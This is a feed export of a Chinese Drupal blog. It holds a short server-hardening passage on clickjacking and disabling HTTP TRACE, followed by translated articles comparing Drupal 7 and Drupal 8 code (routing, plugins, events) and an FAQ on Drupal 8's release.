&lt;h2 id=&#34;click-jacking&#34;&gt;Click Jacking&lt;/h2&gt;

&lt;p&gt;&lt;a href=&#34;http://drops.wooyun.org/papers/104&#34; target=&#34;_blank&#34;&gt;Wooyun 的介绍文章&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;文中也写到  &lt;code&gt;X-FRAME-OPTIONS&lt;/code&gt;这一 HTTP 头能够有效防御这一攻击&lt;/p&gt;

&lt;p&gt;前文提到的 Security Kit 即可设置。&lt;/p&gt;

&lt;h2 id=&#34;trace-method&#34;&gt;Trace Method&lt;/h2&gt;

&lt;pre&gt;&lt;code&gt;          HTTP/1.1（RFC2616）规范定义了HTTP TRACE方法，主要是用于客户端通过向Web服务器提交TRACE请求来进行测试或获得诊断信息。当Web服务器启用TRACE时，提交的请求头会在服务器响应的内容（Body）中完整的返回，其中HTTP头很可能包括Session Token、Cookies或其它认证信息。攻击者可以利用此漏洞来欺骗合法用户并得到他们的私人信息。该漏洞往往与其它方式配合来进行有效攻击，由于HTTP TRACE请求可以通过客户浏览器脚本发起（如XMLHttpRequest），并可以通过DOM接口来访问，因此很容易被攻击者利用。
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;禁用的方法很简单：&lt;/p&gt;

&lt;p&gt;Apache，启用Rewrite：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;      RewriteEngine On
      RewriteCond %{REQUEST_METHOD} ^TRACE
      RewriteRule .* - [F]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Nginx已经禁止很久了。&lt;/p&gt;

&lt;p&gt;检测方法&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;      telnet your_host
      Trying your_ip...
      Connected to your_host.
      Escape character is &#39;^]&#39;.
      TRACE / HTTP/1.0
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;查看返回内容是否 4xx 即可。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>第七部 代码的变化</title>
      <link>/post/drupal-code-changed/</link>
      <pubDate>Sat, 11 Oct 2014 07:52:44 +0800</pubDate>
      <guid>/post/drupal-code-changed/</guid>
      <description>

&lt;p&gt;##Proudly Found Elsewhere（这一标题我想翻译成他山之石）&lt;/p&gt;

&lt;p&gt;&amp;ldquo;&lt;a href=&#34;http://zh.wikipedia.org/wiki/%E9%9D%9E%E6%88%91%E6%89%80%E5%89%B5&#34; target=&#34;_blank&#34;&gt;非我首创综合症&lt;/a&gt;&amp;ldquo;的反义词，代表了Drupal核心开发者的思维方式的转变——尝试找到最好的工具并集成到软件(Drupal)中去，而不是构造Drupal专属的，仅对Drupal用户有益的定制化技术。&lt;/p&gt;

&lt;p&gt;在Drupal 8中你会看到很多这种哲学的体现。在众多的外部库中，我们引入了&lt;a href=&#34;http://phpunit.de/&#34; target=&#34;_blank&#34;&gt;PHPUnit&lt;/a&gt;来进行单元测试，&lt;a href=&#34;http://guzzle.readthedocs.org/en/latest/&#34; target=&#34;_blank&#34;&gt;Guzzle&lt;/a&gt;来执行HTTP请求（Web Service），一系列的&lt;a href=&#34;https://github.com/fabpot/Create-Your-Framework/tree/master/book&#34; target=&#34;_blank&#34;&gt;Symfony&lt;/a&gt;组件（可参考&lt;a href=&#34;https://github.com/fabpot/Create-Your-Framework/tree/master/book&#34; target=&#34;_blank&#34;&gt;《Create your own framework on top of the Symfony2 Components》&lt;/a&gt;），&lt;a href=&#34;https://getcomposer.org/&#34; target=&#34;_blank&#34;&gt;Composer&lt;/a&gt;用于解决外部依赖和自动加载问题。&lt;/p&gt;

&lt;p&gt;除此之外，这一变化也反映在核心基础代码之中，我们在Drupal 8中做出了&lt;a href=&#34;http://buytaert.net/why-the-big-architectural-changes-in-drupal-8&#34; target=&#34;_blank&#34;&gt;《大量的架构变更》&lt;/a&gt;，以此来响应外部世界的进步：解耦，面向对象，对PHP的新特性例如命名空间和&lt;a href=&#34;http://php.net/manual/zh/language.oop5.traits.php&#34; target=&#34;_blank&#34;&gt;Traits&lt;/a&gt;的支持。&lt;/p&gt;

&lt;p&gt;##Getting OOP-y with it（翻成啥，此处应有掌声？）&lt;/p&gt;

&lt;p&gt;让我们来看看Drupal 8架构中的一些反映上述变化的代码：&lt;/p&gt;

&lt;h3 id=&#34;drupal-7-example-info&#34;&gt;Drupal 7: example.info&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;name = Example
description = An example module.
core = 7.x
files[] = example.test
dependencies[] = user
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;所有的Drupal模块都需要一个.info文件来完成系统中的注册动作。上面的例子是Drupal 7模块中的典型写法。文件格式是一种类似Ini的写法，但是其中还包含了一些Drupal风格的元素，例如&lt;code&gt;array[]&lt;/code&gt;语法，这导致无法使用PHP的标准INI文件访问函数来访问info文件。&lt;code&gt;files[]&lt;/code&gt;关键字在Drupal 7中用于触发自定义类的载入，也是一种Drupal特有的方式，模块开发者开发的面向对象代码必须添加一个&lt;code&gt;files[]&lt;/code&gt;元素来定义类，&lt;a href=&#34;http://drupalcode.org/project/views.git/blob/refs/heads/7.x-3.x:/views.info&#34; target=&#34;_blank&#34;&gt;看起来有点傻&lt;/a&gt;（views的info文件，这个吐槽深得我心）&lt;/p&gt;

&lt;p&gt;###Drupal 8: example.info.yml&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;name: Example
description: An example module.
core: 8.x
dependencies:
  - user
# Note: New property required as of Drupal 8!
type: module
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Drupal 8的info文件改为很多其他语言和框架都在使用的&lt;a href=&#34;http://www.yaml.org/&#34; target=&#34;_blank&#34;&gt;YAML&lt;/a&gt;格式。语法类似（“:”代替了 “=”，不同的数组语法），读写都很容易。类的自动加载，不再使用古怪的&lt;code&gt;files[]&lt;/code&gt;关键字，而改头换面为用&lt;a href=&#34;https://getcomposer.org/&#34; target=&#34;_blank&#34;&gt;Composer&lt;/a&gt;支撑的 &lt;a href=&#34;https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-4-autoloader.md&#34; target=&#34;_blank&#34;&gt;PSR-4&lt;/a&gt;标准。这种方式采用规定的类名称/文件夹的转换方式，形成一种更像自然语言的规则（modules/example/src/ExampleClass.php），Drupal不再需要手工注册即可自动载入面向对象的代码。&lt;/p&gt;

&lt;p&gt;###Drupal 7: hook_menu()&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;example.module&lt;/strong&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
/**
* Implements hook_menu().
*/
function example_menu() {
  $items[&#39;hello&#39;] = array(
    &#39;title&#39; =&amp;gt; &#39;Hello world&#39;,
    &#39;page callback&#39; =&amp;gt; &#39;_example_page&#39;,
    &#39;access callback&#39; =&amp;gt; &#39;user_access&#39;,
    &#39;access arguments&#39; =&amp;gt; &#39;access content&#39;,
    &#39;type&#39; =&amp;gt; MENU_CALLBACK,
  );
  return $items;
}
/**
* Page callback: greets the user.
*/
function _example_page() {
  return array(&#39;#markup&#39; =&amp;gt; t(&#39;Hello world.&#39;));
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这是Drupal 7经典的&amp;rdquo;Hello world&amp;rdquo;模块，定义了一个/hello的URL，当这个地址被访问时，会判断当前用户是否具有&amp;rdquo;access content&amp;rdquo;权限，如果鉴权通过，则会执行&lt;code&gt;_example_page()&lt;/code&gt;的代码——显示渲染后的&amp;rdquo;Hello world&amp;rdquo;。&lt;code&gt;hook_menu()&lt;/code&gt;是Drupal 7以及更早版本中被诟病已久的数组API(API =&amp;gt; ArrayPI)，这种方式的问题在于，很难进行输入（比如，忘掉&lt;code&gt;return $items&lt;/code&gt;，然后抓耳挠腮不知错在何处），没有IDE能够对这种东西进行自动完成，对于关键字的新增和变更，文档也只能进行手工同步。&lt;a href=&#34;https://api.drupal.org/api/drupal/modules!system!system.api.php/function/hook_menu/7&#34; target=&#34;_blank&#34;&gt;hook_menu文档&lt;/a&gt;中也很明显的表现出一个问题：menu的负担太重了——注册URL以及相应的鉴权方法和执行代码，又提供了在界面上暴露连接的多种方式，甚至还能切换主题，以及更多的任务。&lt;/p&gt;

&lt;p&gt;###Drupal 8: 路由和Controller&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;example.routing.yml&lt;/strong&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;example.hello:
  path: &#39;/hello&#39;
  defaults:
    _content: &#39;\Drupal\example\Controller\Hello::content&#39;
  requirements:
    _permission: &#39;access content&#39;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;strong&gt;src/Controller/Hello.php&lt;/strong&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
namespace Drupal\example\Controller;
use Drupal\Core\Controller\ControllerBase;

/**
* Greets the user.
*/
class Hello extends ControllerBase {
  public function content() {
    return array(&#39;#markup&#39; =&amp;gt; $this-&amp;gt;t(&#39;Hello world.&#39;));
  }
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在Drupal 8的&lt;a href=&#34;https://drupal.org/developing/api/8/routing&#34; target=&#34;_blank&#34;&gt;路由系统&lt;/a&gt;中，采用了同&lt;a href=&#34;http://symfony.com/doc/current/book/routing.html&#34; target=&#34;_blank&#34;&gt;Symfony路由系统&lt;/a&gt;一致的YAML格式，用于实现url以及访问控制逻辑。原有的page callback方式现在采用了&amp;rdquo;Controller&amp;rdquo;类的方式（可参看&lt;a href=&#34;http://en.wikipedia.org/wiki/Model–view–controller&#34; target=&#34;_blank&#34;&gt;model-view-controler模式&lt;/a&gt;），Controller遵循PSR-4标准存放于指定命名的文件夹中。这个类存在于example模块的命名空间中，这也防止了同其他模块的命名冲突。最后，这个类使用use和extends语句引入了&lt;a href=&#34;https://api.drupal.org/api/drupal/core!lib!Drupal!Core!Controller!ControllerBase.php/class/ControllerBase/8&#34; target=&#34;_blank&#34;&gt;ControllerBase&lt;/a&gt;类，因此这个controller能访问到所有的ControllerBase类的方法，例如&lt;code&gt;$this-&amp;gt;t()&lt;/code&gt;(t()函数的OO版本)。另外，ControllerBase是一个标准的PHP类，所有的方法和属性在IDE中都可以自动完成，这将大大减少猜测和出错的机会。&lt;/p&gt;

&lt;p&gt;###Drupal 7: &lt;code&gt;hook_block_X()&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;block.module&lt;/strong&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
/**
* Implements hook_block_info().
*/
function example_block_info() {
  $blocks[&#39;example&#39;] = array(
    &#39;info&#39; =&amp;gt; t(&#39;Example block&#39;),
  );
  return $blocks;
}
/**
* Implements hook_block_view().
*/
function example_block_view($delta = &#39;&#39;) {
  $block = array();
  switch ($delta) {
    case &#39;example&#39;:
      $block[&#39;subject&#39;] = t(&#39;Example block&#39;);
      $block[&#39;content&#39;] = array(
        &#39;hello&#39; =&amp;gt; array(
          &#39;#markup&#39; =&amp;gt; t(&#39;Hello world&#39;),
        ),
      );
      break;
  }
  return $block;
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这是Drupal中的典型的插接方式——包括block, 文本格式，图片效果等：某种&lt;code&gt;_info()&lt;/code&gt;钩子，然后一个或多个其他钩子来进行其他动作（查看，应用和配置等）。这其中又包含大量的数组，这是因为这些API不具备自描述特性，除了肉眼观察大量模块的&lt;code&gt;.api.php&lt;/code&gt;文件之外，别无他法——而这些文件也未必能够提供足够的信息要求你如何命名你的实现。有些是必选，有些不是，哪个是哪个，等等诸如此类的问题。&lt;/p&gt;

&lt;p&gt;###Drupal 8: Blocks（以及很多其他东西）是一个插件&lt;/p&gt;

&lt;p&gt;在Drupal 8中，这些古怪的API转换为新的&lt;a href=&#34;https://drupal.org/developing/api/8/plugins&#34; target=&#34;_blank&#34;&gt;插件系统&lt;/a&gt;，举例如下：&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;src/Plugin/Block/Example.php&lt;/strong&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
namespace Drupal\example\Plugin\Block;
use Drupal\Core\Block\BlockBase;

/**
* Provides the Example block.
*
* @Block(
*   id = &amp;quot;example&amp;quot;,
*   admin_label = @Translation(&amp;quot;Example block&amp;quot;)
* )
*/
class Example extends BlockBase {
  public function build() {
    return array(&#39;hello&#39; =&amp;gt; array(
      &#39;#markup&#39; =&amp;gt; $this-&amp;gt;t(&#39;Hello world.&#39;)
    ));
  }
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;大多数内容跟Controller例子很像；一个插件就是一个基类（&lt;a href=&#34;https://api.drupal.org/api/drupal/core%21lib%21Drupal%21Core%21Block%21BlockBase.php/class/BlockBase/8&#34; target=&#34;_blank&#34;&gt;BlockBase&lt;/a&gt;）的派生，基类维护了很多基础内容。Block API声明了&lt;a href=&#34;https://api.drupal.org/api/drupal/core%21lib%21Drupal%21Core%21Block%21BlockPluginInterface.php/interface/BlockPluginInterface/8&#34; target=&#34;_blank&#34;&gt;BlockPluginInterface接口&lt;/a&gt;，并进行了实现。&lt;/p&gt;

&lt;p&gt;接口以IDE友好的方式提供和描述了各种API。学习Drupal 8新API的最好方式之一就是浏览接口。&lt;/p&gt;

&lt;p&gt;类上方的注释被称为&lt;a href=&#34;http://docs.doctrine-project.org/projects/doctrine-common/en/latest/reference/annotations.html&#34; target=&#34;_blank&#34;&gt;标注&lt;/a&gt;。用PHP注释来指定逻辑的元数据可能让人觉得奇怪，不过这种方式已经被众多的现代PHP库采用，并且也为PHP社区所接受。&lt;/p&gt;

&lt;p&gt;###Drupal 7:Hooks&lt;/p&gt;

&lt;p&gt;在Drupal 7以及更早的版本中，通过&lt;a href=&#34;https://api.drupal.org/api/drupal/includes!module.inc/group/hooks/7&#34; target=&#34;_blank&#34;&gt;hook&lt;/a&gt;来实现扩展机制。作为API的作者，可以利用&lt;code&gt;module_invoke_all()&lt;/code&gt;, &lt;code&gt;module_implements()&lt;/code&gt;, &lt;code&gt;drupal_alter()&lt;/code&gt;等方式来声明Hook，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
  // Compile a list of permissions from all modules for display on admin form.
  foreach (module_implements(&#39;permission&#39;) as $module) {
    $modules[$module] = $module_info[$module][&#39;name&#39;];
  }
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在一个需要响应这一事件的模块中，可以创建一个名为&lt;code&gt;modulename_hookname()&lt;/code&gt;的函数，输出该hook指定的结果。例如：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
/**
* Implements hook_permission().
*/
function menu_permission() {
  return array(
    &#39;administer menu&#39; =&amp;gt; array(
      &#39;title&#39; =&amp;gt; t(&#39;Administer menus and menu items&#39;),
    ),
  );
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这在Drupal初期是一个很先进的扩展方式（Drupal在2001年出世，当时是PHP3的天下，没有提供面向对象或者类似的机制），这一方式也造成不少麻烦：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;利用&amp;rdquo;特定名称的函数&amp;rdquo;进行扩展的机制是一种很Drupal的方式，也是新晋开发者最难以理解的问题之一。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;至少有四种不同的函数可以触发hook：&lt;code&gt;module_invoke()&lt;/code&gt;、&lt;code&gt;module_invoke_all()&lt;/code&gt;、 &lt;code&gt;module_implements()&lt;/code&gt;、&lt;code&gt;drupal_alter()&lt;/code&gt;。这使得查找实现某一扩展的所有代码非常困难。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Hook缺乏一致性：有些&amp;rdquo;info&amp;rdquo;类的hook，提供一个数组（或者数组的数组的数组..），有些是“事件”类型的hook，在某些事情发生的时候触发。需要阅读每个hook的文档来确定各个hook需要的输入和输出。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;###Drupal 8:事件&lt;/p&gt;

&lt;p&gt;Hooks在Drupal 8的多数事件驱动行为中还是普遍存在的（info风格的hook被迁移到了YAML或者插件标注中），Drupal 8中迁移到Symfony（例如bootstrap/exit, 路由系统）的部分也随之转换为&lt;a href=&#34;http://symfony.com/doc/current/components/event_dispatcher/introduction.html&#34; target=&#34;_blank&#34;&gt;Symfony事件分发系统&lt;/a&gt;。在这个系统中，事件在某个逻辑触发的时候进行分发，模块可以订阅需要进行交互的事件。&lt;/p&gt;

&lt;p&gt;下面的演示，是Drupal 8的配置API，位于&lt;a href=&#34;https://api.drupal.org/api/drupal/core%21lib%21Drupal%21Core%21Config%21Config.php/class/Config/8&#34; target=&#34;_blank&#34;&gt;core/lib/Drupal/Core/Config/Config.php&lt;/a&gt;。他定义了一系列的&amp;rsquo;CRUD&amp;rsquo;方法，例如save()、delete()等。每个方法在结束任务之后都会分发一个事件，让其他模块可以做出反应。例如Config::save()：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
  public function save() {
    // &amp;lt;snip&amp;gt;Validate the incoming information.&amp;lt;/snip&amp;gt;
    // Save data to Drupal, then tell other modules this was just done so they can react.
    $this-&amp;gt;storage-&amp;gt;write($this-&amp;gt;name, $this-&amp;gt;data);
    // ConfigCrudEvent is a class that extends from Symfony&#39;s &amp;quot;Event&amp;quot; base class.
    $this-&amp;gt;eventDispatcher-&amp;gt;dispatch(ConfigEvents::SAVE, new ConfigCrudEvent($this));
  }
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;最少有一个模块在配置变化时候需要做出反应：核心的语言模块。因为如果刚刚发生变更的配置中包含了缺省的站点语言，会需要清除PHP缓存文件来让配置生效.&lt;/p&gt;

&lt;p&gt;要达到这个目的，语言模块要做三件事：&lt;/p&gt;

&lt;p&gt;1.在language.services.yml文件（&lt;a href=&#34;http://symfony.com/doc/current/book/service_container.html&#34; target=&#34;_blank&#34;&gt;Symfony服务容器&lt;/a&gt;的配置文件，用于注册可重用代码）中注册一个订阅类：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;language.config_subscriber:
  class: Drupal\language\EventSubscriber\ConfigSubscriber
  tags:
    - { name: event_subscriber }
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;2,在&lt;a href=&#34;https://api.drupal.org/api/drupal/core%21modules%21language%21src%21EventSubscriber%21ConfigSubscriber.php/class/ConfigSubscriber/8&#34; target=&#34;_blank&#34;&gt;引用类&lt;/a&gt;中实现&lt;a href=&#34;http://api.symfony.com/2.4/Symfony/Component/EventDispatcher/EventSubscriberInterface.html&#34; target=&#34;_blank&#34;&gt;EventSubscriberInterface&lt;/a&gt;，并声明一个getSubscribedEvents方法，这个方法列出要处理的事件，并为每个事件提供一个或多个回调函数来进行处理，并提供权重，来决定调用顺序（Symfony的权重顺序同Drupal的相反）：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
class ConfigSubscriber implements EventSubscriberInterface {
  static function getSubscribedEvents() {
    $events[ConfigEvents::SAVE][] = array(&#39;onConfigSave&#39;, 0);
    return $events;
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;3.定义回调方法，用于处理配置保存触发的事件：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
  public function onConfigSave(ConfigCrudEvent $event) {
    $saved_config = $event-&amp;gt;getConfig();
    if ($saved_config-&amp;gt;getName() == &#39;system.site&#39; &amp;amp;&amp;amp; $event-&amp;gt;isChanged(&#39;langcode&#39;)) {
      // Trigger a container rebuild on the next request by deleting compiled
      // from PHP storage.
      PhpStorageFactory::get(&#39;service_container&#39;)-&amp;gt;deleteAll();
    }
  }
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面的方式给开发者提供了一个明确的注册工具，让一个模块可以用多个类订阅不同的事件。这避免了过去我们经常要在hook中使用switch语句的情况，也避免了同一语句块中大量的不相干代码对开发人员造成的困扰，让我们可以用不同的类来处理不同的逻辑。这同时也意味着我们的事件机制是后加载的，而不是随时保存在PHP的内存中。&lt;/p&gt;

&lt;p&gt;对事件进行调试，以及查找其实现代码也变得非常直观。从前需要在一大堆的过程化PHP函数中鉴别是否被hook调用，而现在只需要简单的查找注册事件即可，例如ConfigEvents::SAVE。&lt;/p&gt;

&lt;p&gt;事件系统真正完成了到面向对象的转换。插件系统处理了info风格的hook，YAML代替了过去的注册系统，而事件系统则取代了事件风格的hook，并引入了强大的订阅机制，进一步提升了Drupal核心的扩展能力。&lt;/p&gt;

&lt;p&gt;##还有很多&lt;/p&gt;

&lt;p&gt;Drupal API的变更可以在&lt;a href=&#34;https://api.drupal.org/api/drupal/8&#34; target=&#34;_blank&#34;&gt;Drupal 8 API页面&lt;/a&gt;看到，这里你能找到分门别类的Drupal 8 API介绍：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/9858fb83f0bbc68656e0283b4f78e293.png&#34; alt=&#34;drupal8 api&#34; /&gt;&lt;/p&gt;

&lt;p&gt;还可以浏览&lt;a href=&#34;https://drupal.org/list-changes&#34; target=&#34;_blank&#34;&gt;https://drupal.org/list-changes&lt;/a&gt;来查看完整的Drupal 7和Drupal 8的API差异（载入时间貌似比较长）。每个API的变化都包含了变化前和变化后的代码示例，可以帮助你进行迁移，并指出这个变更所对应的issue，介绍变更的内容和原因。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/21e2a641d0280c1418535080e6d16d85.png&#34; alt=&#34;drupal 8 change record&#34; /&gt;&lt;/p&gt;

&lt;p&gt;##打了好多字&lt;/p&gt;

&lt;p&gt;转向现代的，面向对象的新Drupal，会多出很多啰嗦的问题。下面列出一些项目能够协助你跨越这些障碍：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://www.drupal.org/project/drupalmoduleupgrader&#34; target=&#34;_blank&#34;&gt;Drupal Module Upgrader&lt;/a&gt;：如果要把Drupal 7模块升级到Drupal 8，一定要看看这个项目，他会告诉你哪里需要变更（指向相关的变更说明），或者自动的把你的代码转换到Drupal 8。你可以在&lt;a href=&#34;https://www.acquia.com/resources/podcasts/acquia-podcast-154-help-build-drupal-8-module-upgrader&#34; target=&#34;_blank&#34;&gt;视频&lt;/a&gt;中更多的了解该项目。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://www.drupal.org/project/console&#34; target=&#34;_blank&#34;&gt;Console&lt;/a&gt;，对新手来说非常有用，自动生成.module/.info文件，PSR-4目录结构，YAML以及路由注册等内容。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;多数Drupal 8核心开发者极其信赖&lt;a href=&#34;http://www.jetbrains.com/phpstorm/&#34; target=&#34;_blank&#34;&gt;PhpStorm IDE&lt;/a&gt;，这个IDE的最新版本对Drupal开发提供了大量&lt;a href=&#34;http://confluence.jetbrains.com/display/PhpStorm/Drupal+Development+using+PhpStorm&#34; target=&#34;_blank&#34;&gt;新功能&lt;/a&gt;。另外，如果你是Drupal的顶尖贡献者，可以&lt;a href=&#34;https://assoc.drupal.org/node/18548&#34; target=&#34;_blank&#34;&gt;免费获取&lt;/a&gt;（这不是广告，你可以加入 #drupal-contribute，看看会不会有一个小时没人提到PhpStorm。）&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>第八部 热点问答</title>
      <link>/post/drupal8-faq/</link>
      <pubDate>Thu, 09 Oct 2014 23:07:30 +0800</pubDate>
      <guid>/post/drupal8-faq/</guid>
      <description>&lt;p&gt;##我为什么需要关注Drupal 8？&lt;/p&gt;

&lt;p&gt;起初Drupal是为开发者设计的，在过去的日子里，Drupal提供了一系列的API，让用户能够利用代码来构建网站，这其中包括内容录入Form、管理页面以及侧边栏Block等。在后期的版本尤其是Drupal 7中，进行了一些为非技术用户的倾斜，为基础任务提供了用户界面（安装、数据建模、信息架构以及着陆页等）。现在多数Drupal站点都会安装一些第三方模块例如可视化编辑器，Views等等。在Drupal核心和第三方模块的支持下，Drupal开始为&lt;a href=&#34;http://www.drupalshowcase.com/&#34; target=&#34;_blank&#34;&gt;一部分最大规模的重要网站&lt;/a&gt;提供支撑。&lt;/p&gt;

&lt;p&gt;Drupal 8在Drupal 7的成功基础之上更进一步，顺应民意，集成了更多的功能，例如&lt;a href=&#34;https://www.acquia.com/blog/ultimate-guide-drupal-8-episode-1-authoring-experience-improvements&#34; target=&#34;_blank&#34;&gt;改进的编辑体验&lt;/a&gt;、完备的&lt;a href=&#34;https://drupal.fleeto.us/translation/ultimate-guide-drupal-8-episode-4-multilingual-improvements&#34; target=&#34;_blank&#34;&gt;多语言功能&lt;/a&gt;、大量的&lt;a href=&#34;https://drupal.fleeto.us/translation/ultimate-guide-drupal-8-episode-3-site-builder-improvements&#34; target=&#34;_blank&#34;&gt;建站功能&lt;/a&gt;。Drupal 8也更加贴近当代的Web潮流，&lt;a href=&#34;https://drupal.fleeto.us/translation/httpswwwacquiacomblogultimate-guide-drupal-8-episode-2-mobile-improvements&#34; target=&#34;_blank&#34;&gt;移动&lt;/a&gt;优先的设计思路以及焕然一新的&lt;a href=&#34;https://www.acquia.com/blog/ultimate-guide-drupal-8-episode-5-front-end-developer-improvements&#34; target=&#34;_blank&#34;&gt;前端&lt;/a&gt;。对开发者来说，Drupal 8提供了大量的&lt;a href=&#34;https://drupal.fleeto.us/translation/new-back-end-features-drupal-8&#34; target=&#34;_blank&#34;&gt;后台特性&lt;/a&gt;以及&lt;a href=&#34;https://www.acquia.com/blog/ultimate-guide-drupal-8-episode-5-front-end-developer-improvements&#34; target=&#34;_blank&#34;&gt;现代化的面向对象的基础代码&lt;/a&gt;。总的说来，Drupal 8为内容编辑、站点建设、开发和设计提供了强大的支持，使之成为一个稳固的项目基础，能更好的面对各种技术、设备和服务。&lt;/p&gt;

&lt;p&gt;Drupal 7是一个稳定、健壮和成熟的平台，将在未来的几年中持续获得支持。很多Drupal 8的功能都可以在Drupal 7中以某种方式进行实现（稍后会披露更多内容）。Drupal 8很伟大，不过如果你等不及，Drupal 7仍然是个好选择。学习Drupal 8也是个好主意——在你的项目需要Drupal 8之前做好准备。&lt;/p&gt;

&lt;p&gt;##Drupal 8听起来很厉害！为什么还没发布？&lt;/p&gt;

&lt;p&gt;一旦&lt;a href=&#34;https://drupal.org/project/issues/search/drupal?status[]=Open&amp;amp;priorities[]=400&amp;amp;categories[]=1&amp;amp;categories[]=2&amp;amp;version[]=8.x&amp;amp;issue_tags_op=%3D&#34; target=&#34;_blank&#34;&gt;严重问题(包括bug和task)&lt;/a&gt;减少至0，Drupal 8的发布候选版就会创建。候选版在公开发布并不再产生严重问题后，Drupal 8就粉墨登场了。&lt;/p&gt;

&lt;p&gt;只要登录Drupal.org，就可以随时查看Drupal 8的进度，&amp;rsquo;Contributor Links&amp;rsquo;显示了各种问题的数量。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/40e526c74c3cb52d7dc76772f31ba777.png&#34; alt=&#34;Contributor Links&#34; /&gt;&lt;/p&gt;

&lt;p&gt;##Drupal 8发布之后会怎样？&lt;/p&gt;

&lt;p&gt;Party，很多的Party。&lt;/p&gt;

&lt;p&gt;接下来，会在Drupal 8的基础上，启动一个&lt;a href=&#34;https://www.drupal.org/node/2135189&#34; target=&#34;_blank&#34;&gt;新的发布计划&lt;/a&gt;，在基础的月度Bug修复和安全补丁(8.0.1, 8.0.2&amp;hellip;.)之外，增加了半年一次的对核心的&amp;rdquo;主要版本&amp;rdquo;(8.1.0, 8.2.0&amp;hellip;)升级。这种发布内容可能包含新功能，向下兼容的API增强，或者更多。在几次主版本升级后，Drupal 8会发布一个“长期支持版本(LTS)”，接下来就会开始Drupal 9的开发。&lt;/p&gt;

&lt;p&gt;这意味着Drupal用户无需为了一个新的核心功能等待几年，我们会每几个月更新一次特性和API，直到这个平台达到成熟。这同时意味着不愿意冒险，更需要稳妥解决方案的用户可以只盯着LTS版本，几年做一次更新（连主版本升级都跳过）。&lt;/p&gt;

&lt;p&gt;##我什么时候可以开始使用Drupal 8？&lt;/p&gt;

&lt;p&gt;这个问题，主要在于你的角色：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;如果你是个模块开发者，你应该马上开始关注Drupal 8。目前还可以为Drupal 8提供有效的反馈，以确保你迁移模块所需要的功能会随Drupal 8一起发布。不过在发布之前，API还存在变化的可能，所以你需要在RC后跟进修改。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;如果你是一个文档作者、翻译者或设计师，注意Drupal 8的界面、界面文本和标记在第一个RC之前是不会冻结的，所以用户向的文档、翻译以及主题应该在RC1之后启动。当然，比较激进的开发者现在可以跟进，来发现我们尚未修补的问题。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;如果你有一群不介意协助修复核心Bug，进行模块迁移的开发人员，并且上线时间在2015年末或2016年，你可以在Drupal 8进入Beta后期或RC期开始建设你的Drupal 8站点。如果你需要一些新版本中的新特性，这一时机应该较为可靠。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;绝大多数站点应该在Drupal 8发布之后的几个月后，第三方模块的迁移大致完成后，才会开始进行使用。可以关注&lt;a href=&#34;https://www.drupal.org/project/usage/drupal&#34; target=&#34;_blank&#34;&gt;Drupal 项目应用图表&lt;/a&gt;。当D7和D8两条线交叉时，意味着D8用户数开始超过D7，大多数的升级障碍已经解除，可以考虑跟进了。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

